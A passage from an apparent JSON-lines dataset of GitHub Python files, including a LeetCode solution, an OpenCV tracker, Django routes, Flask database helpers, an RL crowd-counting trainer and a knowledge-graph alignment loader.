\n\n","repo_name":"nateinhaze/Learning_Python_Code_YonduCode","sub_path":"yondu_project.py","file_name":"yondu_project.py","file_ext":"py","file_size_in_byte":1564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39031369359","text":"# Group Anagrams\n\nclass Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n \n # default dict for answer\n ans = collections.defaultdict(list)\n\n # for each substring in the list of strings, create a list of values for each letter of the alphabet\n for s in strs:\n count = [0] * 26\n \n # for each char in the substring, increase the corresponding list value by taking ord(char) - ord(a)\n for c in s:\n count[ord(c) - ord(\"a\")] += 1\n \n # append the dict with s and the count as a tuple as the key, as lists cant be keys\n ans[tuple(count)].append(s)\n return ans.values()","repo_name":"Steve-3PO/Leetcode","sub_path":"49.py","file_name":"49.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42334328905","text":"import numpy as np\nimport cv2\nimport Parameters as p\n\n\nclass CannyTracker:\n \"\"\" Encapsulate all of the parameters/state necessary for the Canny tracker and estimation\"\"\"\n def __init__(self):\n self.canny_low = None\n self.canny_high = None\n self.target_pos = None\n\n\ndef determine_roi(frame, contours, target_pos):\n bounding_rects = []\n br_centers = []\n for indx, c in enumerate(contours):\n if cv2.contourArea(c) > p.BBOX_AREA_THRESH:\n br = cv2.boundingRect(c)\n x, y, w, h = cv2.boundingRect(c)\n cv2.rectangle(frame, br, (0, 255, 0), 3)\n bounding_rects.append(br)\n br_centers.append((x + w/2, y + h/2))\n br_centers = np.array(br_centers)\n\n if len(br_centers) > 0: # if we found any bounding boxes, determine their distances from target pt\n br_dists = np.linalg.norm(br_centers - target_pos, axis=1)\n best_bbox_ix = np.argmin(br_dists)\n target_pos_obs = br_centers[best_bbox_ix, :]\n x, y, w, h = bounding_rects[best_bbox_ix]\n bbox_ul = (x, y)\n bbox_lr = (x + w, y + h)\n roi = (bbox_ul, bbox_lr)\n else:\n roi = None # Don't focus on any particular ROI\n target_pos_obs = None\n\n return br_centers, target_pos_obs, roi\n\n\ndef process_contours(frame, canny_thresh_low, canny_thresh_high):\n frame_canny = apply_canny(cv2.GaussianBlur(frame, (0, 0), 3), canny_thresh_low, canny_thresh_high, 3)\n kernel = np.ones((5, 5), np.uint8)\n frame_canny = cv2.dilate(frame_canny, kernel, iterations=1)\n contours, _ = cv2.findContours(frame_canny, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)\n return contours\n\n\ndef apply_canny(frame, high, low, kernel):\n frame_ret = cv2.Canny(frame, low, high, kernel)\n return frame_ret\n\n\ndef update_canny_tracker(frame, canny_tracker_state):\n\n contours = process_contours(frame, canny_tracker_state.canny_low[0], canny_tracker_state.canny_high[0])\n\n (br_centers, target_pos_obs, roi) = determine_roi(frame, contours, canny_tracker_state.target_pos)\n\n return target_pos_obs, roi, canny_tracker_state\n","repo_name":"GoldenZephyr/TankTracks","sub_path":"trackers/CannyTracker.py","file_name":"CannyTracker.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33921170978","text":"\nfrom django.views.generic.base import TemplateView\nfrom django.urls import include, path\nfrom django.conf.urls import url\nfrom . import views\n\n\napp_name = 'buildinginfo'\n\nurlpatterns = [\n path('list/', views.BuildingListView.as_view(), name='building_list'),\n path('detail-tilesview//',\n views.BuildingDetailView.as_view(), name='building_detail'),\n path('detail-tableview//',\n views.BuildingDetailTableView.as_view(), name='building_detail_table'),\n\n\n path('notice//', views.BuildingNoticeView.as_view(),\n name='building_notice'),\n path('notice/new/', views.notice_create_view,\n name='notice_create'),\n path('calendar//', views.BuildingCalender.as_view(),\n name='building_calendar'),\n path('list/new/', views.BuildingCreateView.as_view(), name='building_new'),\n path('list/update//',\n views.BuildingUpdateView.as_view(), name='building_update'),\n path('list/delete//',\n views.BuildingDeleteView.as_view(), name='building_delete'),\n path('weather-station-create', views.weather_station_create,\n name='weather_station_create'),\n path('weather-file-upload/', views.WeatherFileUpload,\n name='weather_file_upload'),\n\n # path('get-data//', views.get_energy_data, name='get_data'),\n\n path('assessment//', views.assessment_view, name=\"assessment\"),\n\n path('annual-statistics-data//',\n views.get_annual_statistics, name=\"annual_statistics\"),\n path('annual-statistics-data-all/',\n views.get_annual_statistics_all, name=\"annual_statistics_all\"),\n path('daily-data//', views.get_daily_data, name=\"daily_data\"),\n path('annual-data-for-one//',\n views.get_annual_data_for_one, name=\"annual_data_for_one\"),\n path('annual-data/',\n views.get_annual_data, name=\"annual_data\"),\n path('annual-data-group-by/',\n views.get_annual_data_group_by, name=\"annual_data_group_by\"),\n path('monthly-data//', views.get_monthly_data, name=\"monthly_data\"),\n path('pie-data//', views.get_pie_data, name=\"pie_data\"),\n]\n","repo_name":"f16vsmig/web-test","sub_path":"buildinginfo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30517546259","text":"import sys\r\ninput = sys.stdin.readline\r\nfrom collections import deque\r\n\r\nm, n, k = map(int, input().split())\r\ng = [[0] * n for _ in range(m)]\r\nfor _ in range(k):\r\n x1, y1, x2, y2 = map(int, input().split())\r\n for r in range(y1, y2):\r\n for c in range(x1, x2):\r\n g[r][c] = 1\r\n\r\ndef f(sr, sc):\r\n qu = deque()\r\n qu.append([sr, sc])\r\n visited[sr][sc] = 1\r\n res = 1\r\n while qu:\r\n cr, cc = qu.popleft()\r\n\r\n for dr, dc in [[-1, 0], [0, 1], [1, 0], [0, -1]]:\r\n nr, nc = cr + dr, cc + dc\r\n if 0 <= nr < m and 0 <= nc < n and visited[nr][nc] == 0 and g[nr][nc] == 0:\r\n visited[nr][nc] = 1\r\n qu.append([nr, nc])\r\n res += 1\r\n return res\r\n\r\nvisited = [[0] * n for _ in range(m)]\r\ncnt = 0\r\nans = []\r\nfor i in range(m):\r\n for j in range(n):\r\n if visited[i][j] == 0 and g[i][j] == 0:\r\n res = f(i, j)\r\n cnt += 1\r\n ans.append(res)\r\n\r\nans.sort()\r\nprint(cnt)\r\nprint(*ans)","repo_name":"yunjeongwon/algorithm","sub_path":"백준/Silver/2583. 영역 구하기/영역 구하기.py","file_name":"영역 구하기.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"18720645409","text":"\nfrom app.helpers.formatResponse import formatResponse\n\ndef fetch(cursor, table, value, query = 'where username = (%s);'):\n cursor.execute(f'''SELECT * FROM \"{table}\" {query}''', [value])\n result = cursor.fetchone()\n if result is None:\n return dict({'error': 'Data not found', 'status': 404}),404\n else:\n response = formatResponse.single(cursor.description, result)\n return response\n\ndef fetchMany(cursor, table, query = ''):\n cursor.execute(f'''SELECT * FROM \"{table}\" {query}''')\n result = cursor.fetchall()\n if result is None:\n return dict({'error': 'Data not found', 'status': 404}), 404\n else:\n response = formatResponse.multiple(cursor.description, result)\n return response\n","repo_name":"Oluwasegun-AA/pipit","sub_path":"flask/app/helpers/fetchData.py","file_name":"fetchData.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"27428710852","text":"# 수들의 합 5\n# 투포인터\nn = int(input())\nstart, end = 1, 1\nhap = 1\ncnt = 0\nwhile start <= end :\n if hap == n :\n cnt += 1\n \n if hap > n :\n hap -= start\n start += 1\n elif hap <= n :\n end += 1\n hap += end\n\nprint(cnt)","repo_name":"daeun0220/code_study","sub_path":"백준/2018.py","file_name":"2018.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"16316810366","text":"from urllib.request import urlopen\nfrom bs4 import BeautifulSoup\n\nhtml = urlopen('http://jr.jd.com')\n\nbs_obj = BeautifulSoup(html.read(),'html.parser')\ntxt_list = bs_obj.find_all('a','nav-item-primary')\n\nfor txt in txt_list:\n print(txt.get_text())\n \nhtml.close()\n","repo_name":"Langper/crawler","sub_path":"static url/try_beautiful.py","file_name":"try_beautiful.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"7203822050","text":"from __future__ import print_function\nimport sys\n\n# USAGE\n# sys.argv[1] = genes.gtf\n\n# Example\n# $ python gtf2protein_coding_genes.py genes.gtf > protein_coding_genes.lst\n\n\ndef get_value(mykey, lookup):\n\ttry:\n\t\tmyvalue = lookup[mykey]\n\texcept KeyError:\n\t\tmyvalue = ''\n\treturn myvalue.strip('\"').strip(\"'\")\n\n\ndef seperated(pairslist):\n\tfor kv in pairslist:\n\t\tk = kv.split(' ')[0]\n\t\tv = \" \".join(kv.split(' ')[1:]).rstrip(';')\n\t\tyield k,v\n\n\ndef get_id_and_type(last_column):\n\tpairs = {}\n\tkv_pairs_list = last_column.strip().split('; ')\n\n\tfor k,v in seperated(kv_pairs_list):\n\t\tpairs[k] = v\n\n\tgene_id = get_value('gene_id', pairs)\n\tgene_type = get_value('gene_type', pairs)\n\tif not gene_type:\n\t\t# gene_type does not exist\n\t\t# default to using gene_biotype\n\t\tgene_type = get_value('gene_biotype', pairs)\n\n\treturn gene_id, gene_type\n\nif __name__ == '__main__':\n\n\n\tif len(sys.argv) != 2:\n\t\tprint('Usage: python {} genes.gtf > protein_coding_genes.lst'.format(sys.argv[0]))\n\t\tprint('\\nError: failed to provide all positional arguments!', file=sys.stderr)\n\t\tsys.exit(1)\n\n\tprotein_coding_genes = []\n\twith open(sys.argv[1]) as file:\n\t\tfor line in file:\n\t\t\tif line.startswith('#'):\n\t\t\t\t# Skip over comments in header section\n\t\t\t\tcontinue\n\n\t\t\tlinelist = line.strip().split(\"\\t\")\n\t\t\tif linelist[2]==\"gene\":\n\t\t\t\t# Get gene_id and gene_type\n\t\t\t\tgene_id, gene_type = get_id_and_type(last_column = linelist[-1])\n\t\t\t\tif gene_type==\"protein_coding\":\n\t\t\t\t\tprotein_coding_genes.append(gene_id)\n\t\t\t\t\tprint(gene_id,)\n","repo_name":"skchronicles/RNA-seek","sub_path":"workflow/scripts/builder/gtf2protein_coding_genes.py","file_name":"gtf2protein_coding_genes.py","file_ext":"py","file_size_in_byte":1494,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"78"} +{"seq_id":"974734313","text":"from setuptools import setup, find_packages\n\nVERSION = '0.1.0' \nDESCRIPTION = 'Connect to any FANTM device'\nLONG_DESCRIPTION = 'Frontend for connecting to devlprd and processing data from a FANTM DEVLPR'\n\n# Setting up\nsetup(\n name=\"pydevlpr-fantm\", \n version=VERSION,\n author=\"Ezra Boley\",\n author_email=\"hello@getfantm.com\",\n description=DESCRIPTION,\n long_description=LONG_DESCRIPTION,\n url='https://github.com/fantm/libdevlpr-plugin',\n packages=find_packages(where=\"src\"),\n install_requires=['websockets'], # add any additional packages that \n # needs to be installed along with your package.\n \n keywords=['python', 'FANTM', 'DEVLPR'],\n classifiers= [\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: Education\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: Microsoft :: Windows\",\n ]\n)","repo_name":"FANTM/pydevlpr","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"16995048067","text":"def guess():\n n=\"hashir\"\n y=input(\"guess the secret word:\")\n guess_count=0\n guess_limit=2#not necessary\n out_of_guesses=False\n turn=0\n turn += 1\n\n\n while y!= n and not(out_of_guesses):\n if guess_count0:\n end_image = time.time()\n speed_image = 1 / (end_image - start_image)\n speed_c_image += speed_image\n speed_number_image += 1\n \n start_image = time.time()\n \n if image_index==0 or epoch==-1 :\n print('[Epoch {:.2f}] {:.2f} / {:.2f}'.format(epoch, image_index, train_number))\n \n image_name = train_img + str(image_index+1) +'.jpg'\n img = cv2.imread(image_name) \n dot_name = train_gt + str(image_index+1) + '.csv' \n \n featuremap_t = []\n featuremap_save = []\n \n den = np.array(pd.read_csv(dot_name, sep=',', header=None)) \n\n h = int(img.shape[0]/32)\n w = int(img.shape[1]/32)\n \n mask_last = np.zeros((h, w))\n mask_last = mask_last.astype(np.int8)\n count_rem = np.zeros((h, w)) \n hv_save = np.zeros((h, w, parameters['HV_NUMBER']))\n \n img = toTensor(img).unsqueeze(0).float().cuda() - means\n \n featuremap_t = net.get_feature(im_data=img)\n featuremap_save = featuremap_t[0].data.cpu().numpy()\n featuremap_save = np.swapaxes( np.swapaxes(featuremap_save, 0, 2), 0, 1)\n \n for step_hv in range(0, parameters['HV_NUMBER']): \n reward_map = np.zeros((h, w)) \n \n net.eval() \n \n hv = torch.from_numpy( hv_save.transpose((2, 0, 1)) ).unsqueeze(0).float().cuda()\n \n old_Q = net.get_Q(feature=featuremap_t, history_vectory=hv)\n \n old_qval = old_Q[0].data.cpu().numpy() \n \n error_last = abs(den - count_rem) \n q_t = -old_qval\n sort = q_t.argsort(axis=0)\n \n start_ind_random = -1 * np.ones((h, w))\n end_ind_random = -1 * np.ones((h, w))\n \n mask_max_find = np.zeros((h, w))\n action_max = np.zeros((h, w))\n \n ##Exploration\n for recycle_ind in range(0, parameters['ACTION_NUMBER']):\n ##########################random##############################################\n if recycle_ind < parameters['ACTION_NUMBER'] - 1:\n start_mask_random = ( (count_rem + net.A[recycle_ind] >= 0) & (start_ind_random == -1) )\n start_ind_random[start_mask_random] = recycle_ind\n \n end_mask_random = ( count_rem + net.A[recycle_ind] < parameters['Interval_N'] )\n end_ind_random[end_mask_random] = recycle_ind \n \n maskselect_end = (sort[recycle_ind]==parameters['ACTION_NUMBER']-1)\n action_sort = sort[recycle_ind]\n \n A_sort = np.squeeze(net.A_mat[action_sort])\n \n _ind_max = (( (count_rem + A_sort < parameters['Interval_N']) & (count_rem + A_sort >= 0) | maskselect_end) & (mask_max_find==0) ) & (mask_last==0)\n action_max[_ind_max] = action_max[_ind_max] + sort[recycle_ind] [_ind_max]\n mask_max_find = mask_max_find + ( (count_rem + A_sort < parameters['Interval_N']) & (count_rem + A_sort >= 0) | maskselect_end ).astype(np.int8)\n \n action_random = (start_ind_random + (end_ind_random + 2 - start_ind_random ) * np.random.rand(h, w)).astype(np.int8)\n \n random_select = (np.random.rand(h, w) < EPSOLON).astype(np.int8)\n action_fusion = random_select * action_random + (1-random_select) * action_max\n ######################################reward############################################\n optimal_action = np.zeros((h, w))\n \n count_after_every_action = np.expand_dims(count_rem, 0) + net.A_mat_h_w[0:parameters['ACTION_NUMBER']-1, :, :]\n error_every_action = abs(np.expand_dims(den, 0) - count_after_every_action)\n optimal_action_mid = error_every_action.argsort(axis=0)\n optimal_action = optimal_action_mid[0,:,:]\n \n optimal_action[error_last<=parameters['ERROR_SYSTEM']] = parameters['ACTION_NUMBER'] - 1\n mask_select_end = (action_fusion == parameters['ACTION_NUMBER'] - 1).astype(np.int8)\n mask_now = mask_last.copy()\n mask_now = mask_now | mask_select_end\n \n count_rem = count_rem + (1 - mask_select_end) * (1 - mask_last) * (np.squeeze(net.A_mat_h_w[action_fusion.astype(np.int8)]))\n \n error_now = abs(den - count_rem) \n hv_next = hv_save.copy()\n hv_next[:,:,step_hv] = action_fusion + 1 \n \n ##Reward computation\n if step_hv != parameters['HV_NUMBER'] - 1:\n mask_in_range = (count_rem <= den * (1 + parameters['ERROR_RANGE'])).astype(np.int8)\n mask_error_decrease = (error_last > error_now).astype(np.int8)\n mask_optimal = (action_fusion == optimal_action).astype(np.int8)\n mask_could_end_last = (error_last <= parameters['ERROR_SYSTEM']).astype(np.int8)\n \n ##ending reward\n reward_map = mask_select_end * mask_could_end_last * 5 + mask_select_end * (1 - mask_could_end_last) * -5\n ##guiding reward\n reward_map = reward_map + (1 - mask_select_end) * mask_in_range * mask_error_decrease * mask_optimal * 3\n reward_map = reward_map + (1 - mask_select_end) * mask_in_range * mask_error_decrease * (1 - mask_optimal) * 1\n reward_map = reward_map + (1 - mask_select_end) * mask_in_range * (1 - mask_error_decrease) * -1\n ##squeeze guiding reward\n reward_map = reward_map + (1 - mask_select_end) * (1 - mask_in_range) * mask_error_decrease * mask_optimal * -1\n reward_map = reward_map + (1 - mask_select_end) * (1 - mask_in_range) * mask_error_decrease * (1 - mask_optimal) * -3\n reward_map = reward_map + (1 - mask_select_end) * (1 - mask_in_range) * (1 - mask_error_decrease) * -3\n else:\n mask_select_end = np.ones((h, w)) \n mask_could_end_now = (error_now <= parameters['ERROR_SYSTEM']).astype(np.int8)\n reward_map = mask_could_end_now * 5 + (1 - mask_could_end_now) * -5\n \n ##hard sample mining\n mask_drop = ((np.random.rand(h, w) < 0.5).astype(np.int8)) * ((error_last <= 1).astype(np.int8))\n \n if ((1-mask_last)*(1-mask_drop)).sum()<=1:\n continue\n \n state_fv = featuremap_save.reshape((featuremap_save.shape[0] * featuremap_save.shape[1], featuremap_save.shape[2]))\n state_hv = hv_save.reshape((hv_save.shape[0] * hv_save.shape[1], hv_save.shape[2]))\n action = action_fusion.reshape((action_fusion.shape[0] * action_fusion.shape[1], 1))\n reward = reward_map.reshape((reward_map.shape[0] * reward_map.shape[1], 1))\n next_state_hv = hv_next.reshape((hv_next.shape[0] * hv_next.shape[1], hv_next.shape[2]))\n done = mask_select_end.reshape((mask_select_end.shape[0] * mask_select_end.shape[1], 1))\n mask_last_batch = mask_last.reshape((mask_last.shape[0] * mask_last.shape[1], 1))\n mask_drop = mask_drop.reshape((mask_drop.shape[0] * mask_drop.shape[1], 1))\n \n state_fv = state_fv[np.squeeze(mask_last_batch == 0)]\n state_hv = state_hv[np.squeeze(mask_last_batch == 0)]\n action = action[np.squeeze(mask_last_batch == 0)]\n reward = reward[np.squeeze(mask_last_batch == 0)]\n next_state_hv = next_state_hv[np.squeeze(mask_last_batch == 0)]\n done = done[np.squeeze(mask_last_batch == 0)]\n mask_drop = mask_drop[np.squeeze(mask_last_batch == 0)]\n \n state_fv = state_fv[np.squeeze(mask_drop == 0)]\n state_hv = state_hv[np.squeeze(mask_drop == 0)]\n action = action[np.squeeze(mask_drop == 0)]\n reward = reward[np.squeeze(mask_drop == 0)]\n next_state_hv = next_state_hv[np.squeeze(mask_drop == 0)]\n done = done[np.squeeze(mask_drop == 0)]\n \n ##send to buffer\n if not replay.can_sample():\n #if buffer is not full\n replay.put(state_fv, state_hv, action, reward, next_state_hv, done)\n else: \n #if buffer is full\n number_this_batch = len(state_fv)\n point_start = 0\n point_end = 0\n rest = number_this_batch + number_rest\n while rest>0: \n #train when every 100 samples are sent to buffer \n if rest < parameters['TRAIN_SKIP']: \n replay.put(state_fv[point_start:number_this_batch,:],\\\n state_hv[point_start:number_this_batch,:],\\\n action[point_start:number_this_batch],\\\n reward[point_start:number_this_batch],\\\n next_state_hv[point_start:number_this_batch,:],\\\n done[point_start:number_this_batch]) \n number_rest=rest\n rest=0\n else:\n point_end = min(point_end + parameters['TRAIN_SKIP'] - number_rest, number_this_batch)\n number_rest = 0\n \n replay.put(state_fv[point_start:point_end,:],\\\n state_hv[point_start:point_end,:],\\\n action[point_start:point_end],\\\n reward[point_start:point_end],\\\n next_state_hv[point_start:point_end,:],\\\n done[point_start:point_end])\n point_start = point_end\n rest = number_this_batch-point_end\n \n net.train() \n state_fv_batch, state_hv_batch, act_batch, rew_batch, next_state_hv_batch, done_mask = replay.out()\n \n state_fv_batch = torch.FloatTensor(state_fv_batch).cuda().unsqueeze(2).unsqueeze(3)\n state_hv_batch = torch.FloatTensor(state_hv_batch).cuda().unsqueeze(2).unsqueeze(3)\n act_batch = torch.LongTensor(act_batch).cuda().unsqueeze(2).unsqueeze(3)\n rew_batch = torch.FloatTensor(rew_batch).cuda().unsqueeze(2).unsqueeze(3)\n next_state_hv_batch = torch.FloatTensor(next_state_hv_batch).cuda().unsqueeze(2).unsqueeze(3)\n done_mask = torch.FloatTensor(done_mask).cuda().unsqueeze(2).unsqueeze(3)\n \n newQ = net.get_Q_faze(feature=state_fv_batch, history_vectory=next_state_hv_batch)\n newQ = newQ.data.max(1)[0].unsqueeze(1)\n target_Q = newQ * parameters['GAMMA'] * (1 - done_mask) + rew_batch\n \n eval_Q = net.get_Q(feature=state_fv_batch, history_vectory=state_hv_batch)\n eval_Q = eval_Q.gather(1,act_batch)\n \n loss = (eval_Q - target_Q.detach()).abs().mean()\n \n optimizer.zero_grad()\n loss.backward()\n optimizer.step() \n \n loss_train += loss.item()\n \n number_deal = number_deal+1\n \n net.eval() \n \n if (image_index%10==1 and print_T==0) or epoch==-1: \n print_T=1\n print('Epoch:{}/{},image:{}/{},speed:{:.2f},Mae:{:.2f},Mse:{:.2f}, loss:{:.3f}'.format(\n int(epoch),\n int(all_epoches),\n int(image_index),\n int(train_number),\n speed_c_image/speed_number_image, \n minerror[0],\n minerror[1],\n loss_train/number_deal\n )) \n \n hv_save = hv_next.copy()\n mask_last = mask_now.copy() \n if (1-mask_now).sum()==0:\n break \n \ndef test_model(net, epoch, test_path, parameters):\n \n test_img = test_path + 'images/'\n test_gt = test_path + 'ground_truth/'\n \n files_test_im = os.listdir(test_img) \n data_test_number = len(files_test_im)\n \n count_save = np.zeros((data_test_number,2))\n net.eval() \n \n toTensor = transforms.ToTensor() \n means = torch.FloatTensor(np.array(parameters['means']) / 255).unsqueeze(0).unsqueeze(2).cuda()\n \n for i in range(0,data_test_number): \n gt_path = test_gt + 'GT_IMG_'+ str(i+1)+'.mat' \n gt = sio.loadmat(gt_path)\n \n img_name = test_img+ 'IMG_'+ str(i+1)+'.jpg' \n Img = cv2.imread(img_name)\n \n h = Img.shape[0]\n w = Img.shape[1]\n \n gt = len(gt['image_info'][0][0][0][0][0])\n \n ht = int(32*int(h/32)) \n wt = int(32*int(w/32))\n if ht != h:\n ht = int(32 * (int(h / 32) + 1)) \n if wt != w:\n wt = int(32 * (int(w / 32) + 1)) \n \n ho = int(ht/32)\n wo = int(wt/32)\n \n Img_t = np.zeros((ht, wt,3))\n Img_t[0:h, 0:w, :] = Img.copy()\n Img = Img_t.astype(np.uint8)\n \n img = toTensor(Img).unsqueeze(0).cuda()-means\n \n featuremap_t = [] \n class_rem = np.zeros((ho, wo)) \n hv_save = np.zeros((ho, wo, parameters['HV_NUMBER']))\n \n mask_last = np.zeros((ho, wo))\n mask_last = mask_last.astype(np.int8)\n \n featuremap_t = net.get_feature(im_data=img)\n for step in range(0, parameters['HV_NUMBER']): \n \n hv = torch.from_numpy(hv_save.transpose((2, 0, 1))).unsqueeze_(0).float().cuda()\n \n Q = net.get_Q(feature=featuremap_t, history_vectory=hv)\n \n Q = -Q[0].data.cpu().numpy() \n sort = Q.argsort(axis=0)\n \n action_max = np.zeros((ho, wo))\n \n mask_max_find = np.zeros((ho,wo))\n for recycle_ind in range(0,parameters['ACTION_NUMBER']):\n maskselect_end = (sort[recycle_ind] == parameters['ACTION_NUMBER']-1)\n action_sort = sort[recycle_ind]\n \n A_sort = np.squeeze(net.A_mat[action_sort])\n \n _ind_max = (((class_rem + A_sort < parameters['Interval_N']) & (class_rem +A_sort >= 0) | maskselect_end) & ( mask_max_find == 0)) & (mask_last == 0)\n action_max[_ind_max] = action_max[_ind_max] + sort[recycle_ind] [_ind_max]\n mask_max_find = mask_max_find + ((class_rem + A_sort < parameters['Interval_N']) & (class_rem +A_sort >= 0) | maskselect_end).astype(np.int8)\n \n mask_select_end=(action_max == parameters['ACTION_NUMBER']-1).astype(np.int8)\n class_rem = class_rem + (1 - mask_select_end) * (1 - mask_last) * (np.squeeze(net.A_mat_h_w[action_max.astype(np.int8)]))\n \n hv_save[:, :, step] = action_max+1 \n mask_now = mask_last.copy()\n mask_now = mask_now | mask_select_end\n mask_last = mask_now.copy()\n if (1 - mask_last).sum() == 0:\n break \n \n count_rem = net.class2num[class_rem.astype(np.int8)]\n est = count_rem.sum()\n print('Testing {}/{}, GT:{}, EST:{}'.format(i, data_test_number, gt, int(est*100)/100))\n count_save[i,0] = gt\n count_save[i,1] = est \n \n w0 = count_save[:,0]\n w1 = count_save[:,1]\n \n mae = np.mean(abs(w0 - w1)) \n mse = math.sqrt(sum((w0 - w1) * (w0 - w1)) / data_test_number)\n return mae, mse\n\n \n","repo_name":"poppinace/libranet","sub_path":"train_test.py","file_name":"train_test.py","file_ext":"py","file_size_in_byte":17860,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"78"} +{"seq_id":"16864410912","text":"import numpy as np\nimport scipy.sparse as sp\nfrom collections import defaultdict\nimport time\nimport scipy\nimport tensorflow as tf\nimport os\nimport multiprocessing\n\ndef get_target(triples,file_paths):\n def read_dict(file_paths):\n ent2id_dict = {}\n ids = []\n for file_path in file_paths:\n id = set()\n with open(file_path, \"r\", encoding=\"utf-8\") as fr:\n for line in fr:\n params = line.strip(\"\\n\").split(\"\\t\")\n ent2id_dict[params[1]] = int(params[0])\n id.add(int(params[0]))\n ids.append(id)\n return ent2id_dict, ids\n ent2id_dict, ids = read_dict([file_paths + \"/ent_ids_\" + str(i) for i in range(1,3)])\n \n r_hs, r_ts = {}, {}\n for (h, r, t) in triples:\n if r not in r_hs:\n r_hs[r] = set()\n if r not in r_ts:\n r_ts[r] = set()\n r_hs[r].add(h)\n r_ts[r].add(t)\n assert len(r_hs) == len(r_ts)\n return r_hs, r_ts, ids\n\ndef normalize_adj(adj):\n adj = sp.coo_matrix(adj)\n rowsum = np.array(adj.sum(1))\n d_inv_sqrt = np.power(rowsum, -0.5).flatten()\n d_inv_sqrt[np.isinf(d_inv_sqrt)] = 0.\n d_mat_inv_sqrt = sp.diags(d_inv_sqrt)\n return d_mat_inv_sqrt.dot(adj).transpose().dot(d_mat_inv_sqrt).T\n\ndef load_triples(file_name):\n triples = []\n entity = set()\n rel = set([0])\n for line in open(file_name,'r'):\n head,r,tail = [int(item) for item in line.split()]\n entity.add(head); entity.add(tail); rel.add(r+1)\n triples.append((head,r+1,tail))\n return entity,rel,triples\n\ndef load_alignment_pair(file_name):\n alignment_pair = []\n c = 0\n for line in open(file_name,'r'):\n e1,e2 = line.split()\n alignment_pair.append((int(e1),int(e2)))\n return alignment_pair\n\ndef get_matrix(triples,entity,rel):\n ent_size = max(entity)+1\n rel_size = (max(rel) + 1)\n print(ent_size,rel_size)\n adj_matrix = sp.lil_matrix((ent_size,ent_size)) # connection matrix\n adj_features = sp.lil_matrix((ent_size,ent_size)) # connection matrix with self-loops and normalization\n\n radj = []\n rel_in = np.zeros((ent_size,rel_size))\n rel_out = np.zeros((ent_size,rel_size))\n \n for i in range(max(entity)+1):\n adj_features[i,i] = 1\n\n for h,r,t in triples: \n adj_matrix[h,t] = 1; adj_matrix[t,h] = 1;\n adj_features[h,t] = 1; adj_features[t,h] = 1;\n radj.append([h,t,r]); radj.append([t,h,r+rel_size]); \n rel_out[h][r] += 1; rel_in[t][r] += 1\n \n count = -1\n s = set()\n d = {}\n r_index,r_val = [],[]\n for h,t,r in sorted(radj,key=lambda x: x[0]*10e10+x[1]*10e5):\n if ' '.join([str(h),str(t)]) in s:\n r_index.append([count,r])\n r_val.append(1)\n d[count] += 1\n else:\n count += 1\n d[count] = 1\n s.add(' '.join([str(h),str(t)]))\n r_index.append([count,r])\n r_val.append(1)\n for i in range(len(r_index)):\n r_val[i] /= d[r_index[i][0]]\n \n rel_features = np.concatenate([rel_in,rel_out],axis=1) # connection matrix nomalized??\n adj_features = normalize_adj(adj_features)\n rel_features = normalize_adj(sp.lil_matrix(rel_features))\n\n return adj_matrix, r_index, r_val, adj_features, rel_features\n \ndef load_data(lang,train_ratio = 0.3): \n entity1,rel1,triples1 = load_triples(lang + 'triples_1')\n entity2,rel2,triples2 = load_triples(lang + 'triples_2')\n alignment_pair = load_alignment_pair(lang + 'ref_ent_ids')\n # np.random.shuffle(alignment_pair)\n # train_pair,dev_pair = alignment_pair[0:int(len(alignment_pair)*train_ratio)],alignment_pair[int(len(alignment_pair)*train_ratio):]\n dev_pair = alignment_pair[0:int(len(alignment_pair) * 0.7)]\n train_pair = alignment_pair[int(len(alignment_pair) * 0.7): int(len(alignment_pair) * (0.7 + train_ratio))]\n # train_pair = alignment_pair[int(len(alignment_pair) * 0.7):int(len(alignment_pair) * 0.7) + 500]\n\n adj_matrix,r_index,r_val,adj_features,rel_features = get_matrix(triples1+triples2,entity1.union(entity2),rel1.union(rel2))\n return np.array(train_pair),np.array(dev_pair),adj_matrix,np.array(r_index),np.array(r_val),adj_features,rel_features\n\ndef get_hits(vec, test_pair, wrank = None, top_k=(1, 5, 10)):\n Lvec = np.array([vec[e1] for e1, e2 in test_pair])\n Rvec = np.array([vec[e2] for e1, e2 in test_pair])\n \n Lvec = Lvec / np.linalg.norm(Lvec,axis=-1,keepdims=True)\n Rvec = Rvec / np.linalg.norm(Rvec,axis=-1,keepdims=True)\n sim_o = -Lvec.dot(Rvec.T)\n sim = sim_o.argsort(-1)\n if wrank is not None:\n srank = np.zeros_like(sim)\n for i in range(srank.shape[0]):\n for j in range(srank.shape[1]):\n srank[i,sim[i,j]] = j\n rank = np.max(np.concatenate([np.expand_dims(srank,-1),np.expand_dims(wrank,-1)],-1),axis=-1)\n sim = rank.argsort(-1)\n top_lr = [0] * len(top_k)\n MRR_lr = 0\n for i in range(Lvec.shape[0]):\n rank = sim[i, :]\n rank_index = np.where(rank == i)[0][0]\n MRR_lr 